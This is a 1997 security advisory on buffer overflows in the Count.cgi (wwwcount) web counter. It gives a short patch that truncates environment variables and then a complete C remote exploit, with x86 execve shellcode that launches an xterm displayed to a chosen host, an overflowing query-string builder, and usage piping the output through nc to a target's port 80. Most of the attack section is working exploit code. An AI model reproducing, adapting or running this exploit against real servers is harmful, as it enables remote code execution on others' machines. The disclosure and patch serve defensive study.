plaguez security advisory n.11
         
              Count.cgi (wwwcount) remote exploit
        
        


Program:   Count.cgi (wwwcount), a popular CGI web counter

Version:   Tested on 2.3, others probably affected as well (?)

OS:        All

Impact:    a buffer can be overflowed in the Count.cgi program,
           allowing remote http users to execute arbitrary commands
     on the target machine.
     
     
     
Hi,

there are at least two buffer overflow vulnerabilities in wwwcount, a
widely used CGI web counter.
The most harmful occurs when the QUERY_STRING environment variable
(which reflects the url asked by the www client) is copied to a
fixed-size dynamic buffer. Another one occures only when the counter
is compiled with a special authentication option, and may not
be exploitable.

Fix:
----
As they are exploitable remotely, these holes are extremely serious
and should be addressed as soon as possible. A temporary fix, if the
sources are not available, is to remove the exec permissions 
(chmod -x) of the Count.cgi executable (located in your httpd's cgi-bin/
directory).
The actual fix is pretty simple. Apply the following patch to the
file main.c. Environment variables will be cutted down to their first
600 chars. The idea of this patch can also be adapted for other
purposes, mainly to develop a generic cgi-bin wraper. 



58a59,72

> void wrapit(char *envvar,int esize)
> {
>    char *tmp,*tmp2;
>    tmp=malloc(esize+1);
>    if(tmp==NULL)
>      {
>   Debug2("Can't allocate wrapper memory buffer.",0,0);
>   exit(1);
>      }
>    strncpy(tmp,(tmp2=getenv(envvar))?tmp2:"",esize-1);
>    tmp[esize]='\0';
>    setenv(envvar,tmp,1);
> }
> 
89c103
<     char
---
>    char
185a200,207
>    /*
>     * avoid any buffer overflow problem by cutting some env variables
>     */
> 
>    wrapit("QUERY_STRING",600);
>    wrapit("HTTP_REFERER",600);
>    wrapit("HTTP_USER_AGENT",600);
>    



Exploit:
--------
here is a _sample_ exploit, designed to be used on localhost. Needs work
to be really usefull, remote stack prediction is still a big problem.



------------cutcut-------8<-----------------------------------------------

/*

Count.cgi (wwwcount) linux  remote exploit
(c) 05/1997 by plaguez  -  dube0866@eurobretagne.fr
Contact me if you manage to improve this crap.

usage: ./a.out +/-ofs | nc targethost 80

DISCLAIMER: USE THIS PROGRAM AT YOUR OWN RISKS.   THERE IS NO
WARRANTY OF ANY KIND ABOUT THE USE OR MISUSE OF THIS PROGRAM,
WHICH HAS ONLY BE RELEASED FOR EDUCATIONAL PURPOSE. ONLY
EXPERIMENTED USERS ARE ALLOWED TO USE IT, AND ON THEIR _OWN_
SYSTEM ONLY.

This program needs drastic changes to be useable.
If you can't understand how to modify it for your own purpose,
please do not consider trying it.

*/


#include <stdio.h>
#include <stdlib.h>
 
char shell[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d"
"\x5e\x18\x88\x46\x2c\x88\x46\x30"
"\x88\x46\x39\x88\x46\x4b\x8d\x56"
"\x20\x89\x16\x8d\x56\x2d\x89\x56"
"\x04\x8d\x56\x31\x89\x56\x08\x8d"
"\x56\x3a\x89\x56\x0c\x8d\x56\x10"
"\x89\x46\x10\xb0\x0b\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff"
"/usr/X11R6/bin/xterm0-ut0-display0"
"127.000.000.001:00"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff";


/*

Assembly stuff for the previous buffer.
This basically implements an execve syscall, by creating
an array of char* (needs to put a null byte at the end of
all strings).
Here we gonna exec an xterm and send it to our host.
(you can't simply exec a shell due to the cgi proto).
 
  jmp    60                  
        popl   %esi                 
        xorl   %eax,%eax           # efface eax       
        movl   %esi,%ecx           # recupere l'adresse du buffer
        leal   0x18(%esi),%ebx     # recupere l'adresse des chaines
        movb   %al,0x2c(%esi)      # cree les chaines azt
        movb   %al,0x30(%esi)      # 
        movb   %al,0x39(%esi)      
  movb   %al,0x4b(%esi)
        leal   0x20(%esi),%edx     # cree le char**
        movl   %edx,(%esi)
        leal   0x2d(%esi),%edx
        movl   %edx,0x4(%esi)
        leal   0x31(%esi),%edx
        movl   %edx,0x8(%esi)
        leal   0x3a(%esi),%edx
        movl   %edx,0xc(%esi)
        leal   0x10(%esi),%edx
        movl   %eax,0x10(%esi)      
        movb   $0xb,%al             
        int    $0x80                #  passe en mode kernel
        xorl   %ebx,%ebx            #  termine proprement (exit())
        movl   %ebx,%eax            #  si jamais le execve() foire.
        inc    %eax                 #  
        int    $0x80                # 
        call   -65                  #  retourne au popl en empilant l'adresse de la chaine
        .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
        .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
        .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
        .ascii \"/usr/X11R6/bin/xterm0\"         # 44
        .ascii \"-ut0\"                          # 48
        .ascii \"-display0\"                 # 57  au ;
        .ascii \"127.000.000.001:00\"        # 75 (total des chaines)
        .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
        .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
            ...
 */
  
char qs[7000]; 
char chaine[]="user=a";

unsigned long getesp() {
   //   asm("movl %esp,%eax");
   return 0xbfffee38;
}

void main(int argc, char **argv) {
   int compt;
   long stack;

   stack=getesp();
   
   if(argc>1)
     stack+=atoi(argv[1]);
   
   for(compt=0;compt<4104;compt+=4) {
      qs[compt+0] = stack &  0x000000ff;
      qs[compt+1] = (stack & 0x0000ff00) >> 8;
      qs[compt+2] = (stack & 0x00ff0000) >> 16;
      qs[compt+3] = (stack & 0xff000000) >> 24;
   }
   

   strcpy(qs,chaine);
   qs[strlen(chaine)]=0x90;

   qs[4104]= stack&0x000000ff;
   qs[4105]=(stack&0x0000ff00)>>8;
   qs[4106]=(stack&0x00ff0000)>>16;
   qs[4107]=(stack&0xff000000)>>24;
   qs[4108]= stack&0x000000ff;
   qs[4109]=(stack&0x0000ff00)>>8;
   qs[4110]=(stack&0x00ff0000)>>16;
   qs[4111]=(stack&0xff000000)>>24;
   qs[4112]= stack&0x000000ff;
   qs[4113]=(stack&0x0000ff00)>>8;
   qs[4114]=(stack&0x00ff0000)>>16;
   qs[4115]=(stack&0xff000000)>>24;
   qs[4116]= stack&0x000000ff;
   qs[4117]=(stack&0x0000ff00)>>8;
   qs[4118]=(stack&0x00ff0000)>>16;
   qs[4119]=(stack&0xff000000)>>24;
   qs[4120]= stack&0x000000ff;
   qs[4121]=(stack&0x0000ff00)>>8;
   qs[4122]=(stack&0x00ff0000)>>16;
   qs[4123]=(stack&0xff000000)>>24;
   qs[4124]= stack&0x000000ff;
   qs[4125]=(stack&0x0000ff00)>>8;
   qs[4126]=(stack&0x00ff0000)>>16;
   qs[4127]=(stack&0xff000000)>>24;
   qs[4128]= stack&0x000000ff;
   qs[4129]=(stack&0x0000ff00)>>8;
   qs[4130]=(stack&0x00ff0000)>>16;
   qs[4131]=(stack&0xff000000)>>24;
   
   strcpy((char*)&qs[4132],shell);
   
   /* Choose what to do here */
   printf("GET /cgi-bin/Count.cgi?%s\n\n",qs);
   //fprintf(stderr,"\n\nadresse: %x0x\n",stack);
   //printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %x\n\n",qs,stack);
   //setenv("QUERY_STRING",qs,1);
   //system("/usr/local/etc/httpd/cgi-bin/Count.cgi");
   //system("/bin/sh");
   
}
-------------------------------------8<-------------------------




later,



Nicolas Dubee
dube0866@eurobretagne.fr



------------------------------------------------
* plaguez security research - Unix programming *
* system administration    http://www.innu.org *
*         dube0866@eurobretagne.fr             *
------------------------------------------------
" Anonymity is bad," said a source who wished to
remain anonymous.

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